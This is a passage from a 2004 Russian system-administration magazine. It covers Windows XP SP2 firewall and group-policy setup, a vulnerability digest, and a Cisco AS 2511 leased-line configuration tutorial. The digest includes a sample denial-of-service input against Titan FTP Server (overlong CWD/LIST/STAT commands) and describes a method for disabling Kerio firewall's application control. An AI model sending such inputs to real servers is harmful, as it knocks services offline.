оказывается за пределами корпоративной сети), вступают в силу настройки из Standard Profile. Благодаря этим профилям можно дополнительно обезопасить корпоративную сеть от виру-
Ðèñóíîê 8
26
сов и червей, проникающих в нее через портативные компьютеры сотрудников, определив более «жесткие» настройки firewall в стандартном профиле. Используя поставляемые Microsoft шаблоны, можно определить следующие аспекты поведения Windows Firewall: ! Как обрабатывать IPSec-трафик. ! Задать исключения для программ и портов. ! Определить, какие настройки смогут добавлять локальные пользователи. ! Настройка обработки ICMP-запросов. ! Настройка работы нескольких предопределенных служб (RDP,UPnP и др.). ! Конфигурация журналирования. ! Использовать или нет списки исключений. ! Состояние службы Windows Firewall. Таким образом, через групповые политики администраторы могут полностью настроить firewall в соответствии с требованиями политики безопасности предприятия. Однако иногда бывает невозможно использовать этот вариант (отсутствует инфраструктура AD, используется Windows XP Home Edition, и т. д.). В этих случаях можно воспользоваться другими способами настройки. Если для установки SP2 пользователи используют распакованный дистрибутив, находящийся на общедоступном сетевом диске, то параметры, с которыми будет запущен Windows Firewall, можно определить в файле netfw.in_, находящемся в папке i386.Так, для того чтобы автоматически отклю-
администрирование чить Windows Firewall после установки SP2 (например, если в организации не используются host-firewall или используются firewall третьих фирм) нужно добавить в этот файл следующую строку в секцию стандартного профиля: HKLM,"SYSTEM\CurrentControlSet\Services\SharedAccess\ ↵ Parameters\FirewallPolicy\DomainProfile", ↵ "EnableFirewall",0x00010001,0
Подробное описание по возможным настройкам, определяемым в inf-файле, можно найти в документе «Using the Windows Firewall INF File in Microsoft Windows XP Service Pack 2»: http://www.microsoft.com/downloadsdetails.aspx?Family ID=cb307a1d-2f97-4e63-a581-bf25685b4c43&displaylang=en. Если же SP2 уже установлен на компьютеры пользователей, используемые программы перестали работать и в организации нет домена, то можно воспользоваться интерфейсом конфигурирования через сетевую оболочку netsh.exe (Пуск → Выполнить → netsh.exe). Для конфигурирования брандмауэра используется контекст firewall. Используя эту утилиту, можно изменять все параметры, доступные для настройки через групповые политики. Кроме того, можно написать cmd-скрипт, после выполнения которого на компьютере будут установлены корпоративные настройки брандмауэра. Далее этот файл можно разместить на сетевом диске или отправить по почте администраторам подразделений. К сожалению, Windows Firewall не лишен недостатков. Так, с его помощью невозможно блокировать исходящий трафик (правда, это можно сделать с помощью IPSec).
Групповые политики Обновление шаблонов После установки SP2 в Windows XP появляются новые компоненты, управлять которыми можно через групповые политики. Дополнительные настройки (более 600 настроек) содержатся в новых административных шаблонах. Администратор сможет использовать новую функциональность SP2 сразу же после обновления административных шаблонов на контроллерах домена. Для проведения обновления воспользуемся консолью управления групповыми политиками (Group Policy Management Console), доступной для загрузки по адресу: http://go.microsoft.com/fwlink/ ?LinkId=21813 (см. рис. 8). ! Установите SP2 на одном из компьютеров домена. ! Перезагрузите компьютер и войдите в систему под учетной записью администратора домена, администратора предприятия или члена группы «Владельцы и создатели групповой политики». ! Установите gpmc.msi. ! Откройте консоль gpmc (Пуск → Панель управления → Администрирование → Group Policy Management). ! Подключитесь к домену, шаблоны на котором необходимо обновить. Для этого нажмите Действие → Add Forest и в появившемся окне введите имя домена. ! Откройте папку Group policy objects, содержащую все объекты групповой политики домена. 4
! Откройте для редактирования (правая кнопка, Edit) все политики, шаблоны которых вы хотите обновить. Через некоторое время (20-30 минут) новые шаблоны будут реплицированы на остальные контроллеры домена. Если вы хотите ускорить этот процесс, то можете вручную провести репликацию контроллеров домена Active Directory с помощью оснастки Active Directory Sites and Services, которая имеется на всех компьютерах домена, а также на рабочих станциях с установленными «Windows Server 2003 Administration Tools Pack» (adminpack.msi, находится на установочном компакт-диске Server 2003)4. После обновления шаблонов групповой политики компьютеры с Windows 2000, 2003, XP, XP SP1 не смогут их редактировать. Описание решения этой проблемы и соответствующие исправления можно найти в следующей статье knowledge base: http://support.microsoft.com/default.aspx?kbid=842933.
Новые возможности Для управления новыми компонентами Windows XP применяются обновленные административные шаблоны. С их помощью можно глобально определить используемые в организации расширения Internet Explorer, правила работы с зонами безопасности, отображать или нет информационную панель и т. д. (Administrative templates → Windows Components → Internet Explorer → Security Features). Также имеются возможности настройки параметров безопасности RPC/DCOM, клиента автоматического обновления, менеджера управления почтовыми вложениями (AES), центра безопасности, Windows Firewall, клиента служб терминалов, проигрывателя Windows Media 9, новых сетевых компонентов Windows XP (BITS 2.0, P2P) и т. д. Документ, подробно описывающий новые возможности настройки групповых политик Windows XP SP2, можно найти по адресу: http://go.microsoft.com/fwlink/?LinkId=31974. Подробное описание всех параметров, конфигурируемых через групповые политики в формате Excel, можно найти здесь: http://go.microsoft.com/fwlink/?linkid=22031. Этот файл по праву можно считать «библией» администратора, использующего групповые политики. Помимо полного описания действий всех политик в нем также приводятся пути реестра, используемые при конфигурации того или иного компонента Windows.
Проблемы с Service Pack 2 Согласно информации из базы знаний Microsoft, подавляющее большинство проблем, связанных с SP2, вызваны Windows Firewall. Точнее говоря, не с самим Windows Firewall, а сетевыми программами, которые он блокирует. Путь решения таких проблем прост – либо настроить firewall, добавив в него разрешение (в стандартной конфигурации firewall сам покажет соответствующий диалог) для соответствующей программы, либо, если политика безопасности предприятия это позволяет, попросту его отключить или использовать firewall от третьей фирмы. Из серьезных проблем, не связанных с брандмауэром, можно отметить несовместимость с программами SonicWALL
Для обновления также можно использовать обычную консоль mmc и оснастку Group Policy Object Editor.
№9(22), сентябрь 2004
27
администрирование Antivirus, Command AntiVirus, менеджер логина bootskin, Quicken Deluxe 2001. Также возникают некоторые проблемы при работе с оборудованием. Так, в knowledge base имеется информация о том, как установить драйверы для ADLS USB модемов ZyXEL и BeWAN и устранить проблемы, возникающие из-за драйверов сканеров UMAX. Кроме того, имеются некоторые особенности при работе с SCSI RAID контроллерами от 3ware. Отдельно следует отметить проблемы, вызванные несовместимостью некоторых программ с технологией NX. Указывается, что ошибки могут возникать при работе с эмуляторами Windows CE и Virtual PC 4.x. В некоторых случаях для решения этих проблем достаточно внести необходимое приложение в список исключений для DEP, хотя хотя возможно, что в некоторых случаях может потребоваться обновленная версия программы. От себя же могу добавить, что серьезных проблем с Windows XP после установки SP2 лично у меня пока не
было. Была одна проблема при установке на компьютер с внешним RAID-контроллером HighPoint (компьютер ушел в вечную перезагрузку). Однако, скорее всего, она была вызвана установленными на компьютере программами, потому как последующая переустановка системы с компактдиска прошла без малейших проблем.
Заключение Итак, Service Pack 2, безусловно, можно считать эпохальным событием в области компьютерной безопасности. Очередной пакет обновлений включает в себя не только критические обновления различных компонент ОС Windows, но и привносит новую функциональность (с обязательной поддержкой централизованного управления) самой популярной на сегодняшний день десктоп-системе – Windows XP. Кроме того, в его состав входят компоненты, призванные «поднять» планку безопасности и поставить дополнительные преграды на пути хакеров и вирусописателей.
Создание загрузочного диска с Windows XP SP 2 Пакет обновлений можно интегрировать в дистрибутив Windows XP. Для этого выполните следующие действия: ! Скопируйте дистрибутив Windows XP в c:\temp\xp. ! Распакуйте SP2 в папку c:\temp\sp2. ! Выполните следующую команду: c:\temp\sp2\i386\update\update.exe /Integrate:c:\temp\xp
После завершения мастера вы получите дистрибутив Windows XP с интегрированным Service Pack 2. Далее находим в Интернете загрузчик cdboot.bin (например, здесь http://argon.com.ru/download/cdboot.bin.zip) и запускаем программу Nero Burning ROM. Создаем загрузочный компакт-диск со следующими параметрами (см. рис. 9, 10): Ðèñóíîê 10
Ðèñóíîê 9
На вкладке «Label» для полей Volume label, System Identifier, Volume Set и Application введите WXPVOL_EN. В поля Publisher и Data Preparer введите MICROSOFT CORPORATION. На вкладке Burn выберите метод записи Disc-At-Once/96 и нажмите New. Далее перетаскиваем файлы дистрибутива в окно компакт-диска, записываем (если нужно) свои файлы и папки (например с MUI) и нажимаем burn (см. рис. 11):
28
Ðèñóíîê 11
Если все было сделано правильно, то полученный диск будет загрузочным, однако лучше все же сначала проверить работоспособность дистрибутива на диске CD-RW. Вместе с Service Pack2 также вышли обновленные support tools и deploy tools. Поэтому перед записью диска не забудьте обновить эти утилиты новыми версиями с сайта Microsoft.
bugtraq Удаленное переполнение буфера в Altnet Download Manager
Отключение контроля запущенных приложений в Kerio Personal Firewall
Программа: Altnet Download Manager 4.0.0.2, 4.0.0.4. Опасность: Высокая. Описание: Переполнение буфера обнаружено в Altnet Download Manager. Удаленный пользователь может выполнить произвольный код на компьютере целевого пользователя. Удаленный пользователь может создать HTML, который вызовет Altnet Download Manager ActiveX-управление со специально обработанным параметром bstrFilepath, чтобы вызвать переполнение в методе IsValidFile(). Altnet Download Manager включен в Kazaa и Grokster. URL производителя: http://www.altnet.com/help/down loader.asp. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Программа: Kerio Personal Firewall 4.0.16. Опасность: Низкая. Описание: Уязвимость обнаружена в Kerio Personal Firewall. Возможность защиты запуска приложений может быть отключена локальным пользователем с административными привилегиями. Локальное приложение может напрямую записать в \device\physicalmemory изменения, чтобы восстановить SDT Service Table ядра и отключить контроль выполнения приложений в программе. Уязвимость не затрагивает других функций программы. URL производителя: http://www.kerio.com/kpf_home.html. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Множественные уязвимости в Oracle Application Server Программа: Oracle Application Server 9i и 10g; 9.0.4.1 9.0.4.0, 9.0.3.1, 9.0.2.3, и 1.0.2.2. Опасность: Критическая. Описание: Множественные уязвимости были обнаружены в Oracle Application Server. Удаленный пользователь может получить контроль над сервером приложений. В июле 2004 года NGSSoftware сообщил о 34 уязвимостях в Oracle Database Server и Application Server, большинство из которых имеют критическую опасность. Уязвимости включают переполнение буфера, PL/SQL-инъекцию, уязвимости отказа в обслуживании и другие уязвимости. Детали уязвимости NGSSoftware планирует опубликовать в декабре 2004 года. URL производителя: http://www.oracle.com/technology/ deploy/security/pdf/2004alert68.pdf. Решение: Установите обновление, как описано в MetaLink Document ID 281189.1: www.oracle.com/technology/deploy/ security/pdf/2004alert68.pdf.
Раскрытие адресов bcc: в Microsoft Outlook Express Программа: Microsoft Outlook Express 6.0. Опасность: Низкая. Описание: Уязвимость обнаружена в Microsoft Outlook Express. Очень большое многоадресное сообщение, посланное адресатам bcc:, могут раскрыть адреса другим адресатам. Когда целевой пользователь посылает большой e-mail, если Microsoft Outlook Express сконфигурирован так, чтобы обрезать e-mail-сообщения такого размера, то все адреса в поле bcc: будут раскрыты другим адресатам полях to: и cc:. URL производителя: http://support.microsoft.com/default. aspx?scid=kb;EN-US;843555. Решение: Исправление доступно через Microsoft Product Support Services: http://support.microsoft.com/default.aspx? scid=kb;EN-US;843555.
Удаленный отказ в обслуживании в Kerberos 5 Программа: Kerberos 5 1.2.2 – 1.3.4. Опасность: Средняя. Описание: Отказ в обслуживании обнаружен в Kerberos 5 в ASN.1-библиотеке. Удаленный пользователь может заставить Key Distribution Center (KDC) или сервер приложений войти в бесконечный цикл. Если тип ASN.1 SEQUENCE был закодирован с неопределенной длиной, то функция asn1bug_snc() попытается пропустить любые неопознанные поля с функцией asn1buf_ skiptail(). Функция asn1buf_skiptail() недостаточно обрабатывает некоторые ошибки и может войти в бесконечный цикл. URL производителя: http://web.mit.edu/kerberos/www/ advisories/MITKRB5-SA-2004-003-asn1.txt. Решение: Установите соответствующее обновление: http:// web.mit.edu/kerberos/advisories/2004-003-patch_1.3.4.txt и http://web.mit.edu/kerberos/advisories/2004-003-patch_1.2.8.txt.
Удаленный отказ в обслуживании в Titan FTP Server Программа: Titan FTP Server 3.21 и более ранние версии. Опасность: Средняя. Описание: Уязвимость обнаружена в Titan FTP Server. Удаленный пользователь может аварийно завершить работу FTP-службы. Удаленный пользователь может послать команду длиннее 20 480 байт, чтобы вызвать переполнение буфера и аварийно завершить работу FTP-сервера. Пример/Эксплоит: "CWD xxxxxxxxxxx..." "LIST xxxxxxxxxxx..." "STAT xxxxxxxxxxx..."
URL производителя: http://www.southrivertech.com/ index.php?pg=./products/titanftp/index. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Cоставил Александр Антипов
№9(22), сентябрь 2004
29
администрирование
НАСТРАИВАЕМ СОЕДИНЕНИЕ ПО ВЫДЕЛЕННОЙ ЛИНИИ
АНТОН БОРИСОВ Сегодня мы займемся реализацией связи между двумя удаленными точками. А именно, будем устанавливать соединение между удаленной машиной под управлением ОС семейства Windows 2000 и Access Server Cisco AS 2511. Необходимо связать в единое информационное пространство филиал и офис фирмы. Для этого нам потребуется: выделенная линия (Leased Line – LL), 2 модема ZyXEL серии U1496, собственно Access Server (AS) – его роль будет выполнять Cisco AS 2511 и машина с ОС Windows 2000. Мы ознакомимся с процессом установки связи как для Windows 2000 Professional, так и для Windows 2000 Server. Главное условие, которое мы будем иметь в виду – постоянное соединение с удаленной сетью, выход в которую обеспечивает Cisco. Когда основными являются требования установить соединение, передать информацию по каналу, разорвать соединение, для таких случаев в комплекте с Windows 2000 Server существует служба RRAS (Remote Routing and Access Server). В несколько иной (урезанной) форме данная служба есть и в Windows 2000 Professional. Задачу разбиваем на несколько этапов. На первом этапе установим ОС Windows (серверный вариант и вариант Professional), на втором этапе свяжем между собой два модема, на третьем настроим AS и на последнем увяжем все в единое целое. Первый этап, я считаю, можно доверить нашим читателям. Отмечу, что нам потребуется поставить две ОС Windows на один и тот же раздел, но в разные директории. Условимся, что серверную ОС ставим в директорию C:\WINNT.SRV, а Pro-версию – в директорию C:\WINNT.PRO. Если у читателя имеется большой опыт установки ОС на разные разделы, то желательно их установить и на разные разделы (хотя это не принципиально). После установки файл C:\boot.ini (он имеет атрибут hidden) должен выглядеть примерно так:
Ключи «sos», «bootlog» добавлены исключительно для повышения информативности процесса загрузки. Переходим к стыковке двух модемов между собой. Замечание. Необязательно применять именно эти модемы. Так получилось, что реализовывать соединение мне пришлось на их базе. В процессе работы очень пригодится справочник [1]. Приступим. Для тестирования на стенде нам потребуется найти (или спаять самим) 2-проводной кабель с разъемами RJ-11 на обоих концах. Соединим оба модема этим кабелем. У этих модемов есть гнезда LINE, PHONE. Используем гнезда LINE, т.к. PHONE предназначены для подключения не напрямую в телефонную линию, а через телефонный аппарат. Далее через коммуникационную программу настраиваем модемы. Станция управления работает у меня под Linux1, поэтому в роли коммуникационной программы выступает minicom (в случае если вы используете Windows, это может быть HyperTerminal из стандартной поставки). Консоль от Cisco подключена на COM2, а модем, который мы будем настраивать, подключен на COM1. # cat /usr/local/minicom/etc/minirc.ttyS0 pr pu pu pu pu
port baudrate bits parity stopbits
/dev/ttyS0 19200 8 N 1
Опции для minicom:
! -o – не производить инициализацию модема (то есть не посылать строчки типа ATZ и т. п.)
! -8 – использовать 8-битный ввод/вывод (для русского интерфейса программы)
! ttyS0 – название инициализационного файла (представлен в виде minirc.MyName) # minicom -o -8 ttyS0
[boot loader] timeout=3 default=multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO [operating systems] multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO="Microsoft ↵ Windows 2000 Professional RUS" /fastdetect /sos /bootlog multi(0)disk(0)rdisk(0)partition(2)\WINNT.SRV="Microsoft ↵ Windows 2000 Server" /fastdetect /sos /bootlog 1
30
Программу minicom следует запускать с правами обычного пользователя (предварительно установив необходимые права доступа на нужные нам устройства ttyS). Включаем питание модема и в терминальной программе подаем ему последовательность символов «+++» (3 зна-
Linux-машина, которая фигурирует в данной статье, предназначена для настройки модемов и для получения/отправки файлов на Cisco по tftp-протоколу.
администрирование ка плюс). Этим самым мы переходим в командный режим модема. Как узнать, что мы находимся в командном режиме? Очень просто – модем выдает приглашение AT. Теперь мы должны послать в модем строку следующего типа:
Надо установить устройство «Модем». Снимите галку в диалоге, где система предложит определить тип модема сама. Далее выбираем «Стандартные изготовители».
AT&F&L1*M1&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0
И завершаем действие, отправив команды:
! AT&W0 – сохранение наших параметров в профиле 0 модема;
! ATZ0 – использовать при включении модема параметры из профиля 0. Теперь коротко о параметрах (более подробно см. в [1]):
! &F – загрузка настроек по умолчанию (заводских параметров); &L1 – использовать 2-проводную выделенную линию; *M1 – режим ответа в выделенной линии; *M0 – режим старта в выделенной линии; &H3 – аппаратное управление потоком CTS/RTS; *E1 – коррекция ошибок (если ошибки не обработаны, то сбросить линию); ! *Q1 – если качество сигнала низкое, то произвести ретрейн; ! M0 – спикер модема всегда выключен; ! L0 – громкость спикера.
! ! ! ! !
И устанавливаем этот стандартный модем на COM2, т.е. тот порт, к которому вы подключили модем.
Значение для S-регистров:
! S38.3 = 1 – управление CD (Carrier Detect) аналогичным образом, как и в UNIX.
! S20 = 3 – DTE скорость установить в 19.2 kbps. ! S18 = 3 – установить для модема фиксированную скорость (значение такое же, что и для регистра S20).
! S35.1 = 1 – не прерывать процедуру установки связи через окно терминала.
! S10 = 020 – время, в десятых долях секунды, которое модем ждет после потери несущей прежде, чем сбросить линию.
Не забудьте выставить скорость для соединения в 19200 и поставить галку для использования аппаратного управления потоком.
Мы настроили модем, который будем подключать к Cisco AS. Отключаем питание модема и подключаем второй модем. Проводим те же самые действия. За исключением того, что строка инициализации будет немного другой: AT&F&L1*M0&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0
– различие в параметре *M0. Отключаем модем. Теперь при подаче питания на оба модема они должны сами связаться друг с другом на скорости 19,2 Кбит/с. Получилась импровизированная выделенная линия. Для того чтобы можно было использовать выделенную линию, требуется поднять Async-интерфейс на стороне Cisco и поставить драйвера для COM-порта под Windows 2000. Займемся последним. Выбираем Пуск → Настройка → Контрольная Панель → Установка Оборудования.
№9(22), сентябрь 2004
Теперь воспользуемся Мастером сетевого подключения, чтобы поднять интерфейс на COM-порту.
31
администрирование
Для подключения CiscoHub выставьте галки на запрос имени и пароля.
На этом шаге вводим имя для нашего подключения.
И вводим имя тестового пользователя с его паролем. Они будут храниться в AS. Имя этому пользователю пусть будет user, пароль – pass.
32
В свойствах подключения в протоколе TCP/IP нужно снять галку там, где предлагается регистрировать подключение в DNS-сервере. Тем самым сокращаем ненужный трафик, тем более что полномочий на внесение изменений в данные DNS-сервера у нас нет.
администрирование Переходим к настройке AS (Cisco AS 2511). В ходе работы потребуется tftp-сервер. Людям, работающим под UNIX, немного удобнее. Почти наверняка tftpсервер уже есть в системе. Осталось только его запустить. Для Linux Slackware-систем следует отредактировать /etc/inetd.conf. tftp dgram udp wait root /usr/sbin/in.tftpd ↵ in.tftpd -s /home/anthony/tftpd -u anthony -c
где: ! ключ «-c» – разрешить создание файлов в домашней директории; ! ключ «-u user» – запускать tftp-сервер от имени пользователя user; ! ключ «-s path» – домашняя директория для tftp-сервера находится в каталоге path. Подаем сигнал процессу inetd, чтобы он прочитал настройки в /etc/inetd.conf и учел изменения в них. # kill -1 inetd
Подключаемся через коммуникационную программу minicom в консольный порт Cisco. Скорость подключения равна 9600 бит/с. # cat /usr/local/minicom/etc/minirc.cisco pr pu pu pu pu
port baudrate bits parity stopbits
/dev/ttyS1 9600 8 N 1
# minicom -o -8 cisco
Для Windows-платформы также существуют tftp-сервера. В частности, для Windows 2000 Server есть оригинальный сервер от Microsoft, доступный как компонент RIS-сервера. Помимо этого, можно воспользоваться программами сторонних производителей [9, 10, 11]. В частности, tftp-server [9] поддерживает такие опции при передаче файлов, как «tsize», «blocksize» и «timeout». Содержит встроенный firewall. Может выполняться как на NT, так и на машине с Windows 2000. Некоторое время назад Cisco выпускала свой собственный tftp-сервер под Windows-платформу. Собственно, компания была первой, кто предоставлял программу в свободный доступ. На сегодняшний день родной Cisco-сервер более не поддерживается. Включаем Cisco. Администрирование будет происходить через консольный порт Cisco. По идее, в терминале minicom вы должны увидеть процесс загрузки IOS (Internetwork Operating System) – операционную систему, находящуюся внутри Cisco. Если не увидели, меняйте скорость, отключайте четность. Стоит обратить внимание на консольный кабель, вполне возможно, что он от другой серии Cisco. Настройка через HyperTerminal аналогична настройке через minicom. В случае когда вы видите приглашение, например, «C2500>» это значит, что вы находитесь в пользовательс-
№9(22), сентябрь 2004
ком режиме. На этом шаге все проходит гладко, можно просматривать некоторые параметры, однако вносить изменения нельзя. Список команд в IOS можно просмотреть набрав «?». Получить информацию по аппаратному обеспечению можно так: >show version Cisco Internetwork Operating System Software IOS (tm) 2500 Software (C2500-I-L), Version 12.0(5)T, RELEASE SOFTWARE (fc1) C2500 uptime is 2 days, 23 hours, 36 minutes System returned to ROM by power-on System restarted at 14:37:27 MSD Tue Jul 6 2004 System image file is "flash:C2500-i-l.120-5.T.bin" cisco 2511 (68030) processor (revision L) with 14336K/2048K bytes of memory. 1 Ethernet/IEEE 802.3 interface(s) 2 Serial network interface(s) 16 terminal line(s) 32K bytes of non-volatile configuration memory. 8192K bytes of processor board System flash (Read ONLY) Configurationregister is 0x2102
Здесь приведены некоторые принципиально важные строки: точное название Access Server, количество интерфейсов, название системного файла-образа операционной системы. Команды можно сокращать до значимых букв, например, полная строка show users аналогична sh us. Клавиша [TAB] позволяет не набирать полностью команду, а выбрать имеющийся вариант, т.е. работает как «расширитель». Для перехода в режим администрирования требуется ввести команду enable. В зависимости от текущей настройки Cisco, может потребоваться административный пароль. Для выхода из режима администрирования служит команда disable. Для настройки Cisco следует иметь настроенный tftpсервер, и ethernet-соединение. В первую очередь это необходимо, чтобы сохранить конфигурацию. Итак, переходим на административный уровень в Cisco. > enable # setup
На этом шаге предлагается с помощью меню настроить базовую (basic management) конфигурацию. В общем-то, следует настроить ethernet-интерфейс, а затем по сети записать готовую конфигурацию. Скопировать текущую конфигурацию на tftp-сервер можно так: C2500#copy running-config tftp Address or name of remote host []? 1.2.3.4 Destination filename [running-config]? C2500-Config !! 2233 bytes copied in 7.424 secs (319 bytes/sec) C2500#
Скопировать конфигурацию с tftp можно так: C2500#copy tftp: running-config Address or name of remote host []? 1.2.3.4 Source filename []? C2500-Config Destination filename [running-config]? running-config Accessing tftp://1.2.3.4/C2500-Config... Loading C2500-Config from 1.2.3.4 (via Ethernet0): ! [OK - 2233/4096 bytes]
33
администрирование Стоит обратить внимание на различие конфигураций running-config и startup-config. Если первая хранится в ОЗУ и действительна до первой перезагрузки Cisco, то вторая конфигурация хранится во NVRAM (т.е. в энергонезависимой памяти). В процессе запуска системы startup копируется в ОЗУ и становится running. Если подать команду write (полный список параметров доступен по команде «write ?»), то текущая конфигурация запишется в NVRAM и станет таким образом стартовой конфигурацией. Рассмотрим на приведенном примере конфигурацию от Cisco AS 2500. Строки, начинающиеся с символа «!», являются комментариями. ! ! Last configuration change at 09:45:23 MSD Fri Jul 2 2004 by c2500b ! NVRAM config last updated at 09:45:37 MSD Fri Jul 2 2004 by c2500b ! version 12.0 service timestamps debug uptime service timestamps log uptime
Команда хранить пароли в «чистом» виде, незашифрованными: no service password-encryption !
Первая строчка устанавливает внутреннее имя для сервера. hostname C2500 ! aaa new-model aaa authentication login vty local enable secret 5 $1$PlHE$4e7IsaMq52hH/93YAFsmo/
Выставляем административный пароль «c» (для перехода на административный уровень, используя команду enable): enable password c !
Указываем имя пользователя, пароль для него, где «0» – не использовать шифрование пароля. username c2500b password 0 cisco username user password 0 pass !
В случае когда используется конструкция вида: username user password 5 $^%^%#
пароль шифруется в одностороннем порядке. Если уровень шифрации установлен в «7» (шифрация с использованием алгоритма Cisco), то есть возможность пароль декодировать. Следующие первые 2 строки устанавливают временной пояс и время перевода с летнего времени: ! clock timezone MSK 3 clock summer-time MSD recurring last Sun Mar 2:00 ↵ last Sun Oct 2:00 ip subnet-zero no ip domain-lookup ip domain-name tmb
34
Первая строчка определяет, откуда посылать DNS-запросы. ip name-server 1.2.3.200 ip name-server 1.2.3.128 ! ! process-max-time 200 !
Для настройки ethernet-интерфейса используется следующая конструкция: interface Ethernet0 ip address 1.2.3.100 255.255.0.0 no ip directed-broadcast no cdp enable !
где, указывая команду «nocdp enable», мы запрещаем использование протокола CDP (Cisco Discovery Protocol) на данном интерфейсе. Когда в настройке интерфейса присутствует команда «shutdown», то интерфейс не используется. Чтобы его «поднять», следует использовать команду «no shutdown». Serialинтерфейсы не используются, следовательно, их стоит заблокировать. interface Serial0 no ip address no ip directed-broadcast shutdown no cdp enable ! interface Serial1 no ip address no ip directed-broadcast shutdown no cdp enable !
Для того чтобы не конфигурировать каждый Async-интерфейс (интерфейс, к которому присоединяется модем) по отдельности, будем использовать конструкцию следующего типа: interface Group-Async0 description Leased Line Discipline for OutDoor Offices ip unnumbered Ethernet0 no ip directed-broadcast encapsulation ppp ip tcp header-compression passive async mode dedicated no cdp enable ppp authentication pap group-range 1 16 member 1 peer default ip address 1.2.3.11 member 2 peer default ip address 1.2.3.12 member 3 peer default ip address 1.2.3.13 member 4 peer default ip address 1.2.3.14 member 5 peer default ip address 1.2.3.15 member 6 peer default ip address 1.2.3.16 member 7 peer default ip address 1.2.3.17 member 8 peer default ip address 1.2.3.18 !
! interface Group-Async0 – название группового интерфейса; ! descriptionLeased Line Discipline for OutDoor Offices – комментарий для интерфейса;
! ip unnumbered Ethernet0 – использовать в качестве конечной точки (?) IP-адрес интерфейса Ethernet0;
! encapsulation ppp – включить использование протокола ppp;
администрирование ! ppp authentication pap – использовать аутентификацию pap; ! group-range 1 16 – применять настройки для портов с номерами от 1 по 16-й; ! async mode dedicated – используется режим выделенной линии; ! member 1 peer default ip address 1.2.3.11 – если соединение происходит с 1-й линии (с первого порта), то выдать IP-адрес 1.2.3.11. На этом с интерфейсами Async разбирательства закончены. Продолжаем идти дальше. Даем команду – роутинг по умолчанию заворачивать на Ethernet0. Не запускаем веб-интерфейс (с него тоже можно администрировать). ip classless ip route 0.0.0.0 0.0.0.0 Ethernet0 no ip http server !
Теперь посмотрим, как задать скорость работы с модемами. Асинхронные линии, как вы видели, уже настроены. no cdp run banner login _Welcome to Cisco->Metaframe Gateway_ ! line con 0 exec-timeout 0 0 transport input none
Осталось провести наладку линий от 1 по 16. Конструкция используется следующая: line 1 16 autoselect ppp modem InOut transport input all stopbits 1 speed 19200 flowcontrol hardware line aux 0 line vty 0 exec-timeout 0 0 password cisco linevty 1 4 !
По мере получения входящего соединения выбирать протокол ppp (autoselect ppp). Более подробно об опциях модема смотрите по команде «modem ?». ! transport input all – использовать все протоколы (pad, rlogin, telnet, udptn, v120) при подключении к Access Server; ! stopbits 1 – использовать один стоповый бит; ! speed 19200 – скорость на линии выставить в 19200 (такую же скорость надо выставить и на модеме); ! flowcontrol hardware – аппаратное управление потоком. Идем далее по конфигурации. Сервер времени находится по адресу 1.2.3.128: ntpserver 1.2.3.128
Завершение конфигурации:
№9(22), сентябрь 2004
end
При подключенных модемах мы можем видеть следующую картину: C#sh line Tty Typ Tx/Rx A Modem Roty AccO AccI * 0 CTY - - - 0 1 TTY 19200/19200 - inout - - 0 2 TTY 19200/19200 - inout - - 0 3 TTY 19200/19200 - inout - - 0 A 4 TTY 19200/19200 - inout - - 1 5 TTY 19200/19200 - inout - - 0 6 TTY 19200/19200 - inout - - 0 7 TTY 19200/19200 - inout - - 0 8 TTY 19200/19200 - inout - - 0 9 TTY 19200/19200 - inout - - 0 10 TTY 19200/19200 - inout - - 0 11 TTY 19200/19200 - inout - - 0 12 TTY 19200/19200 - inout - - 0 13 TTY 19200/19200 - inout - - 0 14 TTY 19200/19200 - inout - - 0 15 TTY 19200/19200 - inout - - 0 16 TTY 19200/19200 - inout - - 0 17 AUX 9600/9600 - - - 0 18 VTY - - - 1 19 VTY - - - 1 20 VTY - - - 1 21 VTY - - - 0 VTY - - - 0
Uses Noise Overruns Int 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 0 0/0 -
При этом линия №4 была активна. Администрирование происходит через консольный порт Cisco. Посмотрим более подробно на эту линию. C#sh line 4 Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int A 4 TTY 19200/19200 - inout - - 1 0 0/0 Line 4, Location: "Leased Line Discipline for OutDoor Offices", Type: "" Length: 24 lines, Width: 80 columns Baud rate (TX/RX) is 19200/19200, no parity, 1 stopbits, 8 databits Status: Ready, Active, Async Interface Active Capabilities: Hardware Flowcontrol In, Hardware Flowcontrol Out Modem Callout, Modem RI is CD, Line is permanent async interface Modem state: Ready Line is running PPP for address 192.168.15.14. 0 output packets queued, 1 input packets. Async Escape map is 00000000000000000000000000000000 Modem hardware state: CTS DSR DTR RTS Interface Async4: (passive, compression on) Rcvd: 0 total, 0 compressed, 0 errors 0 dropped, 0 buffer copies, 0 buffer failures Sent: 0 total, 0 compressed, 0 bytes saved, 0 bytes sent Connect: 16 rx slots, 16 tx slots, 0 long searches, 0 misses Special Chars: Escape Hold Stop Start Disconnect Activation ^^x none - none Timeouts: Idle EXEC Idle Session Modem Answer Session Dispatch 00:10:00 never none not set Idle Session Disconnect Warning never Login-sequence User Response 00:00:30 Autoselect Initial Wait not set Modem type is unknown. Session limit is not set. Time since activation: 00:02:18 Editing is enabled. History is enabled, history size is 10. DNS resolution in show commands is enabled Full user help is disabled Allowed transports are pad v120 telnet rlogin. Preferred is telnet. No output characters are padded No special data dispatching characters
На этом с Cisco можно завершать. Неплохим клиентом по управлению Cisco является Telconi Terminal [8].
35
администрирование set LOG=%SystemRoot%\cisco2ras.log set ERR=%SystemRoot%\cisco2ras.err REM // 30 seconds lasts each cycle set TIME=30 REM // 8 seconds to raise new interface in Leased Line set TIMEDROP=8 REM // 15 seconds for new interface to establish connection set TIMEIF=15 set IFSTOP=rasdial CiscoHub /D set IFSTART=rasdial CiscoHub user pass set MyCMD=Cisco2RAS set PINGER=1.2.3.128 Echo ========[ %MyCMD% Service startup! ]======== >> %LOG% time /t >> %LOG% date /T >> %LOG% :1 echo Erasing statistics file %ERR% in this cycle del %ERR%
